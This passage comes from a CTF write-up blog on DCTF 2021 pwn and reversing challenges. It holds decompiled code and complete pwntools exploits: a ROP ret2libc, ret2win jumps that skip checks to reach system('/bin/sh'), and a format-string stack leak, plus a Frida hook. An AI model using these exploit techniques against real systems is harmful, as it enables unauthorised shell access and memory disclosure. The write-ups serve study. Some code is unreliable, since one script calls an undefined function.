system_libc = libc2.symbols['system']
sh_libc= next(libc2.search(b'/bin/sh'))
ret = next(elf.search(asm('ret')))

rop = ROP(elf)
rop.puts(fgets_got)
rop.call(elf.symbols['vuln'])

p.sendline(b'\x41'*18 + bytes(rop))

p.recvuntil("i don't think this will work\n")

fgets_address = p.recvuntil("\n")[:-1]
fgets_address = u64(fgets_address + b'\x00'*(8-len(fgets_address)))
libc_address = (fgets_address - fgets_libc)
system_address = system_libc + libc_address
sh_address = sh_libc + libc_address
elf.symbols['system'] = system_address

p.readuntil('plz don\'t rop me')

rop = ROP(elf)
rop.system(sh_address)

p.sendline(b'\x41'*18 + p64(ret) + bytes(rop))

p.recvuntil("i don't think this will work\n")

p.interactive()

The flag was located in a file called flag.txt.

dctf{D0_y0U_H4v3_A_T3mpl4t3_f0R_tH3s3}

DCTF 2021 - Bell

2021-05-17T00:00:00+02:00

Description

Blaise's friends like triangles too! nc dctf-chall-bell.westeurope.azurecontainer.io 5311

Preface

The function gives us a number and then waits for multiple inputs.

Overview

Loading the file into ghidra we can take a look at what happens.

undefined8 main(void)
{
  int iVar1;
  uint uVar2;
  time_t tVar3;

  tVar3 = time((time_t *)0x0);
  srand((uint)tVar3);
  iVar1 = rand();
  uVar2 = iVar1 % 5 + 8;
  printf("%d\n",(ulong)uVar2);
  process((ulong)uVar2);
  return 0;
}

undefined8 process(uint param_1)
{
  long lVar1;
  bool bVar2;
  long lVar3;
  long in_FS_OFFSET;
  uint local_24;
  long local_20;

  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  bVar2 = true;
  local_24 = 1;
  while ((int)local_24 <= (int)param_1) {
    lVar3 = triangle((ulong)param_1,(ulong)local_24,(ulong)local_24);
    __isoc99_scanf();
    if (lVar3 != local_20) {
      bVar2 = false;
    }
    local_24 = local_24 + 1;
  }
  if (bVar2) {
    system("cat flag.txt");
  }
  else {
    puts("Better luck next time.");
  }
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

long triangle(uint param_1,int param_2)
{
  long lVar1;
  long lVar2;

  if ((int)param_1 < param_2) {
    lVar1 = 0;
  }
  else {
    if ((param_1 == 1) && (param_2 == 1)) {
      lVar1 = 1;
    }
    else {
      if (param_2 == 1) {
        lVar1 = triangle((ulong)(param_1 - 1),(ulong)(param_1 - 1),(ulong)(param_1 - 1));
      }
      else {
        lVar2 = triangle((ulong)param_1,(ulong)(param_2 - 1U),(ulong)(param_2 - 1U));
        lVar1 = triangle((ulong)(param_1 - 1),(ulong)(param_2 - 1U),(ulong)(param_2 - 1U));
        lVar1 = lVar1 + lVar2;
      }
    }
  }
  return lVar1;
}

From this I could see, I can win, if I just run the same operations and print my solutions. So I rewrote the triangle function in Python3 and integrated a read of the random number. My final script was:

#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
context.kernel = 'amd64'
#context.log_level = "DEBUG"
context.log_level = "INFO"

def triangle(a,b):
    if a < b:
        return 0
    else:
        if a == 1 and b == 1:
            return 1
        else:
            if b == 1:
                return triangle(a-1,a-1)
            else:
                return triangle(a,b-1) + triangle(a-1,b-1)

p = remote("dctf-chall-bell.westeurope.azurecontainer.io", 5311)

random = int(p.readuntil('\n')[:-1].decode('ASCII'))
print(random)

for i in range(1,(random)+1):
    p.sendline(str(triangle(random,i)))

p.interactive()

Running this gives the flag.

dctf{f1rst_step_t0wards_b3ll_l4bs}

DCTF 2021 - Just In Time

2021-05-17T00:00:00+02:00

Description

Don't fall in (rabbit) holes

Preface

We get a binary which just prints Decryption finished.

Overview

Using ghidra, we can analyse the binary.

Inside the main of the binary we can see, that their is some binary content and multiple functions called with strncpy in between.

undefined8 main(int argc,char **argv)
{
  char *key_text;
  char *key_buffer;
  long lVar1;
  undefined8 cipher_0;
  undefined8 cipher_8;
  undefined8 cipher_16;
  undefined8 cipher_24;
  undefined4 cipher_32;
  undefined2 cipher_36;
  undefined cipher_38;
  char *buffer;
  char *key;

  key_text = (char *)malloc(8);
  key_buffer = (char *)read_key(*argv);
  strncpy(key_text,key_buffer,8,key_buffer);
  cipher_0 = 0x486765792038261b;
  cipher_8 = 0x754b623167242872;
  cipher_16 = 0x747d4e603566227b;
  cipher_24 = 0x252f764e31333323;
  cipher_32 = 0x46313160;
  cipher_36 = 0x3123;
  cipher_38 = 0;
  cipher_text = (char *)malloc(0x27);
  strncpy(key,&cipher_0,0x27,&cipher_0);
  decrypt_1(cipher_text);
  puts("Decryption finished.");
  buffer = (char *)malloc(0x27);
  lVar1 = FUN_001011c5((char *)&cipher_0,key_text);
  strncpy(buffer,lVar1,0x27,lVar1);
  buffer = (char *)FUN_001011c5(buffer,key_text);
  FUN_00101460(buffer);
  free(key);
  free(buffer);
  free(key_text);
  return 0;
}

I already renamed function and variables, to make it more readable for me. Basically, in the beginning the first 8 bytes from the binary are loaded, then our 'cipher' is initialized, and some XOR operations are done. After the output, their are again multiple XOR operations.

Sadly I tried to reimplement all the XOR operations and print the states of all the variables, between each step. But I didn't get the flag in time for the competition. After the competition I realized using GDB with PEDA, I could just debug. Because PEDA tries to print all parameters at calls, I get the args for every strncpy printed. And the third call had the flag.

Because I was interested, if this could be done more easily I tried to use frida. I found two methods, where I could get the flag pretty fast.

Using frida-trace

frida-trace ./justintime -i 'strncpy'

Or writing my own script and execute it using frida ./justintime -l exploit.js --no-pause

'use strict';

var baseAddr = Module.findBaseAddress('justintime');
var strncpy = Module.findExportByName(null, "strncpy");


Interceptor.attach(strncpy, {

    onEnter: function (args) {
        console.log('[+] Called strncpy @' + strncpy);
        console.log('[+] Dest: ' + args[0]);
        console.log('[+] Src: ' + args[1]); 
        console.log('[+] Len: ' + args[2]); 
        console.log('[+] Src Content: ' + Memory.readCString(ptr(args[1])));
    }
});

All three methods lead me to the flag, which was.

dctf{df77dbe0c407dd4a188e12013ccb009f}

DCTF 2021 - Hotel rop

2021-05-17T00:00:00+02:00

Description

They say programmers' dream is California. And because they need somewhere to stay, we've built a hotel!

nc dctf1-chall-hotel-rop.westeurope.azurecontainer.io 7480

Preface

We got a binary file with simple input and some output related to hotel checkIn.

Overview

Based on the name of the challenge, we can be certain, that some sort of rop is needed.

Loading the binary into ghidra we can see our function vuln.

void vuln(void)
{
  char local_28 [28];
  int local_c;

  puts("You come here often?");
  fgets(local_28,0x100,stdin);
  if (local_c == 0) {
    puts("Oh! You are already a regular visitor!");
  }
  else {
    puts("I think you should come here more often.");
  }
  return;
}

Based on these inputs, we know where we can overflow. Looking at the functions with radare2 and afl, we find the function california, silicon_valley and loss.

The name loss seems to be a reference to the normal ret2win function. Because in this function we got our system call.

void loss(int param_1,int param_2)
{
  if (param_2 + param_1 == -0x21523f22) {
    puts("Dis is da wae to be one of our finest guests!");
    if (param_1 == 0x1337c0de) {
      puts("Now you can replace our manager!");
      system((char *)&win_land);
      exit(0);
    }
  }
  return;
}

For this to work we need win_land to have the correct content.

For this we have the function california

void california(void)
{
  puts("Welcome to Hotel California");
  puts("You can sign out anytime you want, but you can never leave");
  *(undefined *)((long)&win_land + (long)len) = 0x2f;
  len = len + 1;
  *(undefined *)((long)&win_land + (long)len) = 0x62;
  len = len + 1;
  *(undefined *)((long)&win_land + (long)len) = 0x69;
  len = len + 1;
  *(undefined *)((long)&win_land + (long)len) = 0x6e;
  len = len + 1;
  return;
}

and the function silicon_valley

void silicon_valley(void)
{
  puts("You want to work for Google?");
  *(undefined *)((long)&win_land + (long)len) = 0x2f;
  len = len + 1;
  *(undefined *)((long)&win_land + (long)len) = 0x73;
  len = len + 1;
  *(undefined *)((long)&win_land + (long)len) = 0x68;
  len = len + 1;
  *(undefined *)((long)&win_land + (long)len) = 0;
  len = len + 1;
  return;
}

So my final rop chain would need to be calfornia -> silicon_valley -> loss. Looking at the function loss I first thought I need to set the correct parameters. But because I was to lazy for this I just calculated the offset of the puts relative to the base and add it. This way I don't need to worry about any parameters and get to system.

So my finale exploit code was:

#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
context.log_level = "INFO"

vulnerable = './hotel_rop'
elf = ELF(vulnerable)

#p = elf.process()
p = remote("dctf1-chall-hotel-rop.westeurope.azurecontainer.io", 7480)

p.readuntil('Welcome to Hotel ROP, on main street ')
main_address = int(p.readline().strip(), 16)
print("main at",hex(main_address))

main = elf.symbols['main']
california = elf.symbols['california']
silicon_valley = elf.symbols['silicon_valley']
loss = elf.symbols['loss']

rop = ROP(elf)
rop.call(main_address+(california-main))
rop.call(main_address+(silicon_valley-main))
rop.call(main_address+(loss-main)+0x32) # Skip all the checks and go to puts and then system

p.readuntil('You come here often?')
p.sendline(b'\x41'*40+bytes(rop))
p.readuntil('I think you should come here more often.')
p.read( 2048, timeout=1 )
p.read( 2048, timeout=1 ) # cleanup output
p.interactive()

In the shell I only needed to print the content of flag.txt.

The flag was:

dctf{ch41n_0f_h0t3ls}

DCTF 2021 - Pwn sanity check

2021-05-17T00:00:00+02:00

Description

This should take about 1337 seconds to solve.

nc dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io 7480

Preface

We get a simple binary, with simple input and output.

Overview

Looking at the binary in ghidra, I found these functions.

void vuln(void)
{
  char local_48 [60];
  int local_c;

  puts("tell me a joke");
  fgets(local_48,0x100,stdin);
  if (local_c == -0x21523f22) {
    puts("very good, here is a shell for you. ");
    shell();
  }
  else {
    puts("will this work?");
  }
  return;
}

void shell(void)
{
  puts("spawning /bin/sh process");
  puts("wush!");
  printf("$> ");
  puts("If this is not good enough, you will just have to try harder :)");
  return;
}

void win(int param_1,int param_2)
{
  puts("you made it to win land, no free handouts this time, try harder");
  if (param_1 == -0x21524111) {
    puts("one down, one to go!");
    if (param_2 == 0x1337c0de) {
      puts("2/2 bro good job");
      system("/bin/sh");
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
  }
  return;
}

From looking at these functions I knew, setting the variable isn't the correct way, because it wasn't a real shell.

But I can jump to win, for a long time I tried to ret2win with all the parameters set. But then I realized, I could just skip the checks. Because if I jump to the offset of win, where the calls where over, I could just ignore the setting of any parameters and get the shell.

My final exploit script was:

#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
#context.log_level = "DEBUG"
context.log_level = "INFO"

context.terminal = ['xfce4-terminal', '-x', 'sh', '-c']

vulnerable = './pwn_sanity_check'
elf = ELF(vulnerable)

#p = process( vulnerable )
p = remote("dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io", 7480)

p.readuntil('tell me a joke')

ret_offset = 72
# 60 for buffer 4 for integer and 8 for RBP

win_function = elf.symbols['win']
win_function_shell = win_function + 0x44 # Skipping all parameter checks

p.sendline(b'\x41'*(ret_offset) + p64(win_function_shell))

p.readuntil('will this work')
p.read( 2048, timeout=1 ) # cleanup output
p.interactive()

The complete flag was: dctf{Ju5t_m0v3_0n}

DCTF 2021 - Readme

2021-05-17T00:00:00+02:00

Description

Read me to get the flag.

nc dctf-chall-readme.westeurope.azurecontainer.io 7481

Preface

We get a binary which asks for our name and then prints hello + input. But in order for the binary to run, a file flag.txt needs to be created in the working directoy.

Overview

Decompiling the binary in ghidra, we see a function vuln where the logic happens. The decompiled function with some renaming of the variables looks like this:

void vuln(void) {
  FILE *flag_file;
  long in_FS_OFFSET;
  char flag [32];
  char name [40];
  long local_10;

  stack_canary = *(long *)(in_FS_OFFSET + 40);
  flag_file = fopen("flag.txt","r");
  fgets(local_58,28,flag_file);
  fclose(flag_file);
  puts("hello, what\'s your name?");
  fgets(name,30,stdin);
  printf("hello ");
  printf(name);
  if (stack_canary != *(long *)(in_FS_OFFSET + 40)) {
    __stack_chk_fail();
  }
  return;
}

From this we can see, that the flag is read and stored in the function stack frame. Also we can see, that our input (name) is directly passed to printf, so we got a format string possibility.

With %p we can print values from the memory and with %1$p we can also add an offset, to what memory we want to print.

Using this I played a little bit around with offsets, until I saw the hex for the flag in the output. During the CTF my exploit was pretty simple.

#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
context.log_level = "INFO"

context.terminal = ['xfce4-terminal', '-x', 'sh', '-c']

vulnerable = './readme'

payload = ""

for i in range(1,20):
    #p = process( vulnerable )
    p = remote('dctf-chall-readme.westeurope.azurecontainer.io', 7481)
    p.readuntil('hello, what\'s your name?')
    p.sendline("%{}$p.".format(i))
    p.readuntil('hello ')
    leak = p.read(2048, timeout=1).strip().split(b'.')
    for item in leak:
        try:
            log.info(p64(int(item, 16)))
        except:
            continue
    p.close()

This already gave me almost the flag. Because I had to extend a closing bracket at the end of it.

After the CTF ended, I extended my Script, to be more efficient, because I could input multiple formats up to 30 characters. Also I want to have a function to dump the memory, in order to extend the size. Also the leaked memory was combined and then printed our, this way the flag was more obvious.

#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
context.log_level = "INFO"

context.terminal = ['xfce4-terminal', '-x', 'sh', '-c']

vulnerable = './readme'

payload = ""

def send_payload(fmtstr):
    global payload
    if len(payload) + len(fmtstr) >= 30:
        #p = process( vulnerable )
        p = remote('dctf-chall-readme.westeurope.azurecontainer.io', 7481)
        p.readuntil('hello, what\'s your name?')
        p.sendline(payload)
        p.readuntil('hello ')
        leak = p.read(2048, timeout=1).strip().strip(b';').split(b';')
        p.close()
        payload = fmtstr
        return leak
    else:
        payload += fmtstr
        return []

def dump(num_bytes_leaked=20):
    leaks = []
    for i in range(num_bytes_leaked):
        leaks.extend(send_payload("%{}$p;".format(1+i)))
    stack_leak = map(lambda y: 0 if b'nil' in y else int(y, 16), leaks)
    return stack_leak

sl = dump_stack()
slb = b''.join(map(p64, sl))
log.info(hexdump(slb))

x = slb[slb.find(b'dctf{'):]
x = x[:(x.find(b'\x00'))]
log.info('flag is: ' + x.decode('ASCII') + '}')

The complete flag was: dctf{n0w_g0_r3ad_s0me_b00k5}